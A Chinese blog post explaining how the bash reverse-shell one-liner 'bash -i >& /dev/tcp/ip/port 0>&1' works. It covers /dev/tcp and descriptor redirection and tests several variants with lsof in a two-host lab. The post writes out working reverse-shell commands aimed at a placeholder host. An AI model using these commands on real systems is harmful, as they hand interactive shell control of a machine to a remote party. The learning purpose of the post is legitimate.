首页 > 系统相关 >学习bash反弹shell过程中所想到的

学习bash反弹shell过程中所想到的

时间:2023-02-01 15:35:54浏览次数:56  
标签:shell 重定向 ip dev 学习 tcp 主机 port bash

   

bash -i >& /dev/tcp/ip/port 0>&1

    在这一句命令中,主要包含两个问题:“>&”和“/dev/tcp/ip/port”。

1.  /dev/tcp/ip/port

  /dev目录下存放这设备文件,但是/dev/tcp/ip/port却并不是设备文件,而是更类似与系统接口,用于向 ip: port 发起TCP连接。

2. >&

  这是有关bash重定向的问题。

  >:输出重定向,即是对文件描述符1进行重定向,相当于“1>”;

  <:输入重定向,即是对文件描述符0进行重定向,相当于“0<”;

  在这里又引出了文件描述符的概念。0是标准输入,1是标准输出,2是标准错误。

  第一个“>&”与后面的file即“/dev/tcp/ip/port”相连接,等价于“>/dev/tcp/ip/port 2>&1”。

  即,也可以写为:

bash -i > /dev/tcp/ip/port 2>&1 0>&1

  上面的“2>&1”和“0>&1”中的“>”表示输出重定向,“&”表示后面跟的是文件描述符而不是文件。

  综合来看,“bash -i >& /dev/tcp/ip/port 0>&1”这句话的含义就是:打开一个交互式bash,然后重定向到 ip: port ,再把标准错误和标准输入都重定向到标准输出。

 

3. 思考

  • 有个问题,标准输入(0)为什么要“输出重定向”到标准输出(1)?如果使用“输入重定向”可以吗?

  假设主机A(192.168.3.72)发起监听,主机B反弹shell到主机A。经过测试,如果把“0>&1”删除,那么在A上输入命令无效,而在B上输入命令的结果会发送到主机A上:

图1 主机B在缺少“0>&1”的情况下发起反弹shell

图2 主机A接收主机B的命令以及输入命令的结果

  如图1所示,主机B在缺少“0>&1”的情况下发起反弹shell,此时因为标准输出已经被重定向到了主机A,所以主机B上输入任何命令都不会显示在终端上,但是命令的执行结果会输出到主机A上,就像图2中第一个“pwd”命令一样。但是在主机2上输入命令,虽然会显示在终端上,但却无法获取结果。使用命令查看进程的文件描述符0,1,2:

netstat -pantu #获取进程的PID
lsof -a -p PID -d0,1,2,3 #查看pid为PID的进程的文件描述符0,1,2

  lsof命令的结果如图3所示:

图3 lsof结果

  可以从图3中看到,文件描述符0仍然是/dev/pts/0,而1,2都已经被重定向到了主机A。所以才会出现上面的情况。所以才需要让0也重定向到主机A。

  但我又想到了另一个问题:重定向0、1、2,为什么用的是“输出重定向”?用“输入重定向”不可以吗?

  根据测试,是可以的。而且根据效果来看,不管是“输出重定向”还是“输入重定向”都变成了“重定向”,纠结“输入”和“输出”已无意义。

  下面来看测试结果:

  (1). bash -i >& /dev/tcp/ip/port 0>&1

    仍然是lsof命令,结果如图4所示:

图4 正常情况下的lsof结果

    从图4中可以看到0、1、2都被重定向到了主机A。

  (2).bash -i >& /dev/tcp/ip/port 0<&1

图5 “0>&1”变为“0<&1”时的lsof结果

    此时“0>&1”中的输出重定向变成了输入重定向。但从图5中看到,0、1、2的重定向没有问题。

  (3).bash -i 1< /dev/tcp/ip/port 2>&1 0>&1

图6 将/dev/tcp/ip/port输入重定向到1时,lsof的结果

    可以看到,/dev/tcp/ip/port输入重定向到1时,0、1、2的重定向仍没有问题。

  暂时就测试这几个。

标签:shell,重定向,ip,dev,学习,tcp,主机,port,bash
From: https://www.cnblogs.com/brilliantHongXi/p/17079003.html

相关文章

  • markdown入门学习
    1、标题(1)一级标题:#演示:一级标题一级标题的另一种写法:下一行写===演示:一级标题的另一种写法(2)二级标题:##演示:二级标题二级标题的另一种写法:下一行写---演示:二级......
  • HTTP学习笔记3-HTTP报文
    HTTP协议主要由三大部分组成:起始行(startline):描述请求或响应的基本信息;头部字段(header):使用key-value形式更详细地说明报文;消息正文(entity):实际传输的数据,它不一定是纯文......
  • CC1101RGPR学习笔记:工作原理简单入门
     众所周知,在IOT的市场应用中,从通信协议细分的话,有SUB-1G,2.4G,3G,4G,以及最新推出的5G,虽然5G通信协议已经在崭露头角,但是不同的通信协议在不同的应用领域之中还是占据着一......
  • [教程]跟着思兼学习Klipper(20)Makerbase MKS SKIPR 船长板 简要使用记录
    【思兼】MakerbaseMKSSKIPR船长板简要使用记录前言原创文章,转载引用请务必注明链接,水平有限,如有疏漏,欢迎指正交流。文章如有更新请访问DFRobot社区或者cnblogs......
  • commons-lang3工具类学习(二)
    三、BooleanUtils布尔工具类and(boolean...array) 逻辑与BooleanUtils.and(true,true)=trueBooleanUtils.and(false,false)=falseBooleanUtils.and(t......
  • commons-lang3工具类学习(三)
    六、ObjectUtilsObject工具类allNotNull(Object...values) 检查所有元素是否为空,返回一个boolean如果有一个元素为空返回false,所有元素不为空或元素为empty返回trueObjec......
  • commons-lang3工具类学习(一)
    一、ArchUtilsjava运行环境的系统信息工具类getArch();//获取电脑处理器体系结构32bit、64bit、unknowngetType();//返回处理器类型x86、ia64、ppc、unknownis32Bit()......
  • 网络安全学习之信息收集-CDN绕过
    CDN相关概念 CDN利用全局负载均衡技术将用户的访问指向离用户最近的工作正常的流媒体服务器上,由流媒体服务器直接响应用户的请求。服务器中如果没有用户要访问的内容,会......
  • 内核参数的作用域学习
    内核参数作用域的情况1.全系统生效2.进程生效3.用户生效4.协同作用.#本文并不会按照范围进行单独阐述#会按照一个作用链条进行说明.nofilenumberoffile......
  • Markdown学习
    Markdown学习一级标题:#空格+标题名字二级标题##空格+标题名字三级标题###空格+标题名字 字体Hello,World!加粗:字体两边都加上**Hello,World!斜体:字体两边都加......